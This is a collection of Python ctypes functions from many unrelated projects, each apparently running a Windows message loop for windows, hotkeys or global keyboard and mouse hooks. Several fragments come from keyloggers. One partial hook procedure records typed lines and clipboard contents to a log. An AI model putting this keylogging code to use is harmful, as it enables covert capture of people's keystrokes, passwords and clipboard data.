def start_event_loop(self): """ Start event loop. This method will not return until the event loop is stopped by \ calling :paramref:`stop_event_loop`. :return: None. """ # Start hooking key events self._hook_manager.HookKeyboard() # Start hooking mouse events self._hook_manager.HookMouse() # Create MSG structure msg = MSG() # Run event loop GetMessageW(byref(msg), 0, 0, 0) # Stop hooking key events self._hook_manager.UnhookKeyboard() # Stop hooking mouse events self._hook_manager.UnhookMouse()
def set_mouse_key(): byref = cy.byref user32 = cy.windll.user32 WM_HOTKEY = 0x0312 HOTKEYS = { 1 : (121, 0x0001), #alt + F10 #1 : (0x020A, 0x0001), #alt + MWU } HOTKEY_ACTIONS = { 1 : handle_win_f10, } for id, (vk, modifiers) in HOTKEYS.items (): if not user32.RegisterHotKey (None, id, modifiers, vk): print "system key confliction,unable to register :", id, "\n" try: msg = MSG () while user32.GetMessageA (byref (msg), None, 0, 0) != 0: if msg.message == WM_HOTKEY: action_to_take = HOTKEY_ACTIONS.get (msg.wParam) if action_to_take: action_to_take () user32.TranslateMessage (byref (msg)) user32.DispatchMessageA (byref (msg)) finally: for id in HOTKEYS.keys (): user32.UnregisterHotKey (None, id)
def WinMSGLoop(): """Run the main windows message loop.""" from ctypes import POINTER, byref, c_ulong from ctypes.wintypes import BOOL, HWND, MSG, UINT LPMSG = POINTER(MSG) LRESULT = c_ulong GetMessage = get_winfunc("user32", "GetMessageW", BOOL, (LPMSG, HWND, UINT, UINT)) TranslateMessage = get_winfunc("user32", "TranslateMessage", BOOL, (LPMSG, )) # restype = LRESULT DispatchMessage = get_winfunc("user32", "DispatchMessageW", LRESULT, (LPMSG, )) msg = MSG() lpmsg = byref(msg) while GetMessage(lpmsg, HWND(), 0, 0) > 0: TranslateMessage(lpmsg) DispatchMessage(lpmsg) #Go #if __name__ == "__main__": #get connect with server SPnet #dde = DDEClient("Spserver", "G41") #while True: #print dde.request("R(56,40)") #time.sleep(1) #WinMSGLoop()
def run(self): self.install_hook() msg = MSG() windll.user32.GetMessageA(byref(msg), 0, 0, 0) while not self.stopped: time.sleep(1) self.uninstall_hook()
def _msg_loop(self, keyboard=True, mouse=True): # 쓰레드 대상 if keyboard == True: pointer1 = self._getFPTR(self._hookProc) self.hooked = self.user32.SetWindowsHookExA( # 키보드 후커 win32con.WH_KEYBOARD_LL, # 후킹 타입. 13 0xD pointer1, # 후킹 프로시저 self.kernel32.GetModuleHandleA(None), # 앞서 지정한 후킹 프로시저가 있는 핸들 0 # thread id. 0일 경우 글로벌로 전체를 후킹한다. ) # hook 인스톨 if mouse == True: pointer2 = self._getFPTR(self._hookProc2) self.hooked2 = self.user32.SetWindowsHookExA( # 키보드 후커 win32con.WH_MOUSE_LL, # 후킹 타입. 13 0xD pointer2, # 후킹 프로시저 self.kernel32.GetModuleHandleA(None), # 앞서 지정한 후킹 프로시저가 있는 핸들 0 # thread id. 0일 경우 글로벌로 전체를 후킹한다. ) # hook2 if keyboard == False and mouse == False: self.print1("no hooker installed") return self.print1("hooker installed") msg = MSG() while True: bRet = self.user32.GetMessageW( byref(msg), None, 0, 0) # 메시지 받기 시작. byref가 있어야 에러 발생 안함. if bRet == 1: break if bRet == -1: # print(bRet, " raise WinError(get_last_error())") # raise WinError(get_last_error()) break self.user32.TranslateMessage(byref(msg)) self.user32.DispatchMessageW(byref(msg))
def loop(): global HK_WORKER_THREAD, HK_WORKER_THREAD_ID try: msg = MSG() lpmsg = byref(msg) while windll.user32.GetMessageW(lpmsg, 0, 0, 0): if msg.message == WM_HOTKEY: hk = HOTKEYS_BY_ID[msg.wParam] hk._do_callback() elif msg.message == WM_STOP: return elif msg.message == WM_NOTIFY: po = py_object.from_address(msg.lParam) data = po.value e, f, args, kwargs = data try: e._result = f(*args, **kwargs) e._exception = None except Exception as ex: e._exception = ex e.set() else: raise AssertionError(msg) finally: HK_WORKER_THREAD = None HK_WORKER_THREAD_ID = None
def WinMSGLoop(): """Run the main windows message loop.""" from ctypes import POINTER, byref, c_ulong from ctypes.wintypes import BOOL, HWND, MSG, UINT LPMSG = POINTER(MSG) LRESULT = c_ulong GetMessage = get_winfunc( "user32", "GetMessageW", BOOL, (LPMSG, HWND, UINT, UINT) ) TranslateMessage = get_winfunc( "user32", "TranslateMessage", BOOL, (LPMSG,) ) # restype = LRESULT DispatchMessage = get_winfunc( "user32", "DispatchMessageW", LRESULT, (LPMSG,) ) msg = MSG() lpmsg = byref(msg) while GetMessage(lpmsg, HWND(), 0, 0) > 0: TranslateMessage(lpmsg) DispatchMessage(lpmsg)
def message_loop(self, webview=None): """msg load循环接受消息直到没有,等待页面加载完成""" msg = MSG() ret = 1 while ret > 0: ret = user32.GetMessageW(byref(msg), None, 0, 0) user32.TranslateMessage(byref(msg)) user32.DispatchMessageW(byref(msg))
def startKeyLog(): msg = MSG() user32.GetMessageA(byref(msg), 0, 0, 0) KeyLogger = KeyLogger() # 훅 프로세스 시작 pointer = getFPTR(hookProc) if KeyLogger.installHookProc(pointer): print("키로거 설치됨") startKeyLog()
def run(self): if self.install_hook(): print "mouselogger installed" else: raise RuntimeError("couldn't install mouselogger") msg = MSG() user32.GetMessageA(byref(msg), 0, 0, 0) while not self.stopped: time.sleep(1) self.uninstall_hook()
def _keychk_runner(self): cmp_func = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) pointer = cmp_func(self._keychk_proc) self.hooked = self.user32.SetWindowsHookExA( # 키보드 후커 win32con.WH_KEYBOARD_LL, # 후킹 타입. 13 0xD pointer, # 후킹 프로시저 self.kernel32.GetModuleHandleA(None), # 앞서 지정한 후킹 프로시저가 있는 핸들 0 # thread id. 0일 경우 글로벌로 전체를 후킹한다. ) # hook 인스톨 msg = MSG() b = self.user32.GetMessageW(byref(msg), None, 0, 0) # 메시지 받기 시작. byref가 있어야 에러 발생 안함.
def run(self): msg = MSG() lpmsg = byref(msg) while 1: ret = GetMessage(lpmsg, 0, 0, 0) if ret == -1: raise WinError() elif ret == 0: return # got WM_QUIT if not self.filter_message(lpmsg): TranslateMessage(lpmsg) DispatchMessage(lpmsg)
def doModal(self): if self.hParentWnd: self.enableParentOnDestruction = True user32.EnableWindow(self.hParentWnd, 0) while self.hWnd: msg = MSG() pMsg = pointer(msg) while self.hWnd and user32.GetMessageW(pMsg, 0, 0, 0) != 0: if not user32.IsDialogMessage(self.hWnd, pMsg): user32.TranslateMessage(pMsg) user32.DispatchMessageW(pMsg)
def main(): global win win = MainWindow() msg = MSG() lpmsg = pointer(msg) print('Entering message loop') while windll.user32.GetMessageA(lpmsg, 0, 0, 0) != 0: windll.user32.TranslateMessage(lpmsg) windll.user32.DispatchMessageA(lpmsg) print('done.')
def main(): renderer = Renderer() res = user32.SetProcessDpiAwarenessContext(c_void_p(-2)) print('SetProcessDpiAwarenessContext:', res) window_class = WNDCLASSW() window_class.style = 0 window_class.lpfnWndProc = WNDPROC(renderer.window_proc) window_class.cbClasExtra = 0 window_class.cbWndExtra = 0 window_class.hInstance = None window_class.hIcon = None window_class.hCursor = None window_class.hbrBackground = None window_class.lpszMenuName = 'MenuName' window_class.lpszClassName = 'ClassName' res = user32.RegisterClassW(byref(window_class)) print('RegisterClass:', res) hwnd = user32.CreateWindowExW( 0, # dwExStyle window_class.lpszClassName, 'WindowName', WS_SYSMENU | WS_THICKFRAME, # dwStyle CW_USEDEFAULT, # X CW_USEDEFAULT, # Y CW_USEDEFAULT, # nWidth CW_USEDEFAULT, # nHeight None, # hWndParent None, # hMenu window_class.hInstance, # hInstance None # lpParam ) print('CreateWindowEx:', hwnd) if not hwnd: return renderer.set_hwnd(hwnd) res = user32.ShowWindow(hwnd, SW_NORMAL) print('ShowWindow:', res) msg = MSG() while True: res = user32.GetMessageW(byref(msg), None, 0, 0) # print('GetMessage:', res) # print('MSG:', msg.hWnd, msg.message, msg.wParam, msg.lParam, msg.time) if not res: break user32.TranslateMessage(byref(msg)) user32.DispatchMessageW(byref(msg))
def hotkey_thread_func(alt, ctrl, shift, key): modifiers = 0 if alt: modifiers |= win32con.MOD_ALT if ctrl: modifiers |= win32con.MOD_CONTROL if shift: modifiers |= win32con.MOD_SHIFT user32.RegisterHotKey(None, hotkey_id, modifiers, key) msg = MSG() try: while user32.GetMessageW(byref(msg), None, 0, 0): if msg.message == win32con.WM_HOTKEY: hotkey_event.set() elif msg.message == win32con.WM_USER: break finally: user32.UnregisterHotKey(None, hotkey_id)
def run(self): WndProc = WNDPROCTYPE(self.PyWndProcedure) hInst = kernel32.GetModuleHandleW(0) szAppName = 'Stagehand' wndclass = WNDCLASSEX() wndclass.cbSize = sizeof(WNDCLASSEX) wndclass.lpfnWndProc = WndProc wndclass.hInstance = hInst wndclass.lpszClassName = 'Stagehand' user32.RegisterClassExW(byref(wndclass)) self.hwnd = user32.CreateWindowExW(0, 'Stagehand', 'Stagehand', WS_OVERLAPPEDWINDOW, 0, 0, 250, 150, 0, 0, hInst, None) msg = MSG() while user32.GetMessageW(byref(msg), 0, 0, 0) != 0: user32.TranslateMessage(byref(msg)) user32.DispatchMessageW(byref(msg))
def _run(self): if vision._isDebug(): log.debug("Starting NVDAHighlighter thread") window = self.window = self.customWindowClass(self) self.timer = winUser.WinTimer(window.handle, 0, self.refreshInterval, None) msg = MSG() while winUser.getMessage(byref(msg), None, 0, 0): winUser.user32.TranslateMessage(byref(msg)) winUser.user32.DispatchMessageW(byref(msg)) if vision._isDebug(): log.debug("Quit message received on NVDAHighlighter thread") if self.timer: self.timer.terminate() self.timer = None if self.window: self.window.destroy() self.window = None
def install_hook_proc(self, func): #这两句是固定的,总体作用是将python函数转换成C语言函数 #CFUNCTYPE将python的变量添加一个声明(int、void等) #返回值CMPFUNC最终对func这个python函数进行加工处理,返回的pointer虽然是个指针 #但是相当于pointer已经是个C语言的函数了 CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) pointer = CMPFUNC(func) # 拿到函数hookProc指针, #为了逻辑清晰,将具体的注入逻辑写入到__install_hook_proc中,此处转回到__install_hook_proc if self.__install_hook_proc(pointer): #如果成功注册钩子,将信息记入调试日志(用于自己调试) #若开发完成则不需要该日志 utils.log_debug("%s start " % func.__name__) #func.__name__是python本身自带的内置函数,是func这个函数的名字 #msg实际上就是监听window进程以后返回的结果 msg = MSG() # 监听/获取窗口的消息,消息进入队列后则取出交给勾链中第一个钩子 #GetMessageA获取钩子返回的一些消息;byref是对msg进行的一些信息转换 self.user32.GetMessageA(byref(msg), None, 0, 0)
def WinMain(hInstance, hPrevInstance, lpCmdLine, nCmdShow): wcex = WNDCLASSEX() wcex.cbSize = sizeof(WNDCLASSEX) wcex.style = CS_HREDRAW | CS_VREDRAW wcex.lpfnWndProc = WNDPROCTYPE(WndProc) wcex.cbClsExtra = 0 wcex.cbWndExtra = 0 wcex.hInstance = hInstance wcex.hIcon = windll.user32.LoadIconW(hInstance, IDI_APPLICATION) wcex.hCursor = windll.user32.LoadCursorW(None, IDC_ARROW) wcex.hbrBackground = COLOR_WINDOW + 1 wcex.lpszMenuName = None wcex.lpszClassName = szWindowClass wcex.hIconSm = windll.user32.LoadIconW(wcex.hInstance, IDI_APPLICATION) msg = MSG() hInst = hInstance if not windll.user32.RegisterClassExW(byref(wcex)): windll.user32.MessageBox(None, "Call to RegisterClassEx failed!", "Win32 Guided Tour", 0) return 1 hWnd = windll.user32.CreateWindowExW(0, szWindowClass, szTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 500, 100, None, None, hInstance, None) if not hWnd: windll.user32.MessageBox(None, "Call to CreateWindow failed!", "Win32 Guided Tour", 0) return 1 windll.user32.ShowWindow(hWnd, nCmdShow) windll.user32.UpdateWindow(hWnd) lpmsg = pointer(msg) while windll.user32.GetMessageA(lpmsg, 0, 0, 0): windll.user32.TranslateMessage(lpmsg) windll.user32.DispatchMessageA(lpmsg) return int(msg.wParam)
def _run(self): try: if vision._isDebug(): log.debug("Starting NVDAHighlighter thread") window = self._window = self.customWindowClass(self) timer = winUser.WinTimer(window.handle, 0, self._refreshInterval, None) self._highlighterRunningEvent.set() # notify main thread that initialisation was successful msg = MSG() # Python 3.8 note, Change this to use an Assignment expression to catch a return value of -1. # See the remarks section of # https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getmessage while winUser.getMessage(byref(msg), None, 0, 0) > 0: winUser.user32.TranslateMessage(byref(msg)) winUser.user32.DispatchMessageW(byref(msg)) if vision._isDebug(): log.debug("Quit message received on NVDAHighlighter thread") timer.terminate() window.destroy() except Exception: log.exception("Exception in NVDA Highlighter thread")
def force_process_messages(delay_sec): PM_REMOVE = 0x0001 PM_NOREMOVE = 0x0000 WM_QUIT = 0x0012 user32 = C.windll.user32 end = time() + min(1, abs(delay_sec)) while time() < end: msg = MSG() if user32.PeekMessageA(C.byref(msg), 0, 0, 0, PM_NOREMOVE): if msg.message == WM_QUIT: return is_uni = user32.IsWindowUnicode(msg.hWnd) PeekMessage = user32.PeekMessageW if is_uni else user32.PeekMessageA DispatchMessage = user32.DispatchMessageW if is_uni else user32.DispatchMessageA exists = PeekMessage(C.byref(msg), 0, 0, 0, PM_REMOVE) if not exists: continue user32.TranslateMessage(C.byref(msg)) DispatchMessage(C.byref(msg))
def startKeyLog(): msg = MSG() user32.GetMessageA(byref(msg), 0, 0, 0)
def run(self): msg = MSG() ctypes.windll.user32.GetMessageA(ctypes.byref(msg), 0, 0, 0)
def startKeyLog(self): msg = MSG() ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0)
def message_loop(self, webview=None): msg = MSG() while user32.GetMessageW(byref(msg), None, 0, 0) > 0: user32.TranslateMessage(byref(msg)) user32.DispatchMessageW(byref(msg))
def init_keyboard_listener(self): class KBDLLHOOKSTRUCT(Structure): _fields_ = [ ("vk_code", DWORD), ("scan_code", DWORD), ("flags", DWORD), ("time", c_int), ] DOWN = [win32con.WM_KEYDOWN, win32con.WM_SYSKEYDOWN] #UP = [win32con.WM_KEYUP, win32con.WM_SYSKEYUP] ALL_KEY_EVENTS = { win32con.WM_KEYDOWN: "KEYDOWN", win32con.WM_SYSKEYDOWN: "SYSKEYDOWN", win32con.WM_KEYUP: "KEYUP", win32con.WM_SYSKEYUP: "SYSKEYUP", } def low_level_keyboard_handler(nCode, wParam, lParam): log("WH_KEYBOARD_LL: %s", (nCode, wParam, lParam)) try: scan_code = lParam.contents.scan_code vk_code = lParam.contents.vk_code focused = self.client._focused #the keys we intercept before the OS: keyname = { win32con.VK_LWIN: "Super_L", win32con.VK_RWIN: "Super_R", win32con.VK_TAB: "Tab", }.get(vk_code) modifiers = [] kh = self.client.keyboard_helper key_event_type = ALL_KEY_EVENTS.get(wParam) #log("low_level_keyboard_handler(%s, %s, %s) vk_code=%i, scan_code=%i, keyname=%s, key_event_type=%s, focused=%s, keyboard_grabbed=%s", nCode, wParam, lParam, vk_code, scan_code, keyname, key_event_type, focused, self.client.keyboard_grabbed) if self.client.keyboard_grabbed and focused and keyname and kh and kh.keyboard and key_event_type: modifier_keycodes = kh.keyboard.modifier_keycodes modifier_keys = kh.keyboard.modifier_keys if keyname.startswith("Super"): keycode = 0 #find the modifier keycode: (try the exact key we hit first) for x in (keyname, "Super_L", "Super_R"): keycodes = modifier_keycodes.get(x, []) for k in keycodes: #only interested in numeric keycodes: try: keycode = int(k) break except ValueError: pass if keycode > 0: break else: keycode = vk_code #true for non-modifier keys only! for vk, modkeynames in { win32con.VK_NUMLOCK: ["Num_Lock"], win32con.VK_CAPITAL: ["Caps_Lock"], win32con.VK_CONTROL: ["Control_L", "Control_R"], win32con.VK_SHIFT: ["Shift_L", "Shift_R"], }.items(): if GetKeyState(vk): for modkeyname in modkeynames: mod = modifier_keys.get(modkeyname) if mod: modifiers.append(mod) break #keylog.info("keyboard helper=%s, modifier keycodes=%s", kh, modifier_keycodes) grablog( "vk_code=%s, scan_code=%s, event=%s, keyname=%s, keycode=%s, modifiers=%s, focused=%s", vk_code, scan_code, ALL_KEY_EVENTS.get(wParam), keyname, keycode, modifiers, focused) if keycode > 0: key_event = KeyEvent() key_event.keyname = keyname key_event.pressed = wParam in DOWN key_event.modifiers = modifiers key_event.keyval = scan_code key_event.keycode = keycode key_event.string = "" key_event.group = 0 grablog("detected '%s' key, sending %s", keyname, key_event) self.client.keyboard_helper.send_key_action( focused, key_event) #swallow this event: return 1 except Exception as e: keylog.error("Error: low level keyboard hook failed") keylog.error(" %s", e) return CallNextHookEx(0, nCode, wParam, lParam) # Our low level handler signature. CMPFUNC = CFUNCTYPE(c_int, WPARAM, LPARAM, POINTER(KBDLLHOOKSTRUCT)) # Convert the Python handler into C pointer. pointer = CMPFUNC(low_level_keyboard_handler) # Hook both key up and key down events for common keys (non-system). keyboard_hook_id = SetWindowsHookExA(win32con.WH_KEYBOARD_LL, pointer, GetModuleHandleA(None), 0) # Register to remove the hook when the interpreter exits: keylog("init_keyboard_listener() hook_id=%#x", keyboard_hook_id) msg = MSG() lpmsg = byref(msg) while not self._exit: ret = GetMessageA(lpmsg, 0, 0, 0) keylog("keyboard listener: GetMessage()=%s", ret) if ret == -1: raise ctypes.WinError(ctypes.get_last_error()) if ret == 0: keylog("GetMessage()=0, exiting loop") return r = TranslateMessage(lpmsg) keylog("TranslateMessage(%#x)=%s", lpmsg, r) r = DispatchMessageA(lpmsg) keylog("DispatchMessageA(%#x)=%s", lpmsg, r)
user32.GetKeyboardState(byref(state)) buff = create_unicode_buffer(8) n = user32.ToUnicode(kb.vkCode, kb.scanCode, state, buff, 8 - 1, 0) #ToUnicode返回值:-1/一个死键,0/不进行任何转换,1/一个字符,>=2/两个或多个字符 key = wstring_at(buff) if n > 0: if kb.vkCode not in VIRTUAL_KEYS.values(): #如果键入非特殊键,则加入line变量 line += key for key, value in VIRTUAL_KEYS.items(): #如果键入特殊键,则记录特殊键名 if kb.vkCode == value: logging.info(key) # print(key) if kb.vkCode == VIRTUAL_KEYS['RETURN']: #如果键入RETURN,则记录并清除line变量 logging.info(line) # print(line) line = "" if current_clipboard != get_clipboard(): #如果剪贴板中有新数据,则记录该数据 current_clipboard = get_clipboard() logging.info('[CLIPBOARD] ' + current_clipboard + '\n') # print('[CLIPBOARD] '+current_clipboard+'\n') return user32.CallNextHookEx(hook.is_hooked, nCode, wParam, lParam) #将钩子信息传递给下个钩子过程CallNextHookEx hook = hook() ptr = HOOKPROC(hook_procedure) hook.install_hook(ptr) msg = MSG() user32.GetMessageA(byref(msg), 0, 0, 0)
def startKeyLog(): sMsg = MSG() gUser32.GetMessageA(byref(sMsg), 0, 0, 0)
def startKeyLog(): msg = MSG() user32.GetMessageA(byref(msg), 0, 0, 0) # 监视队列,消息进入队列后取出消息,并传递给钩链中第一个钩子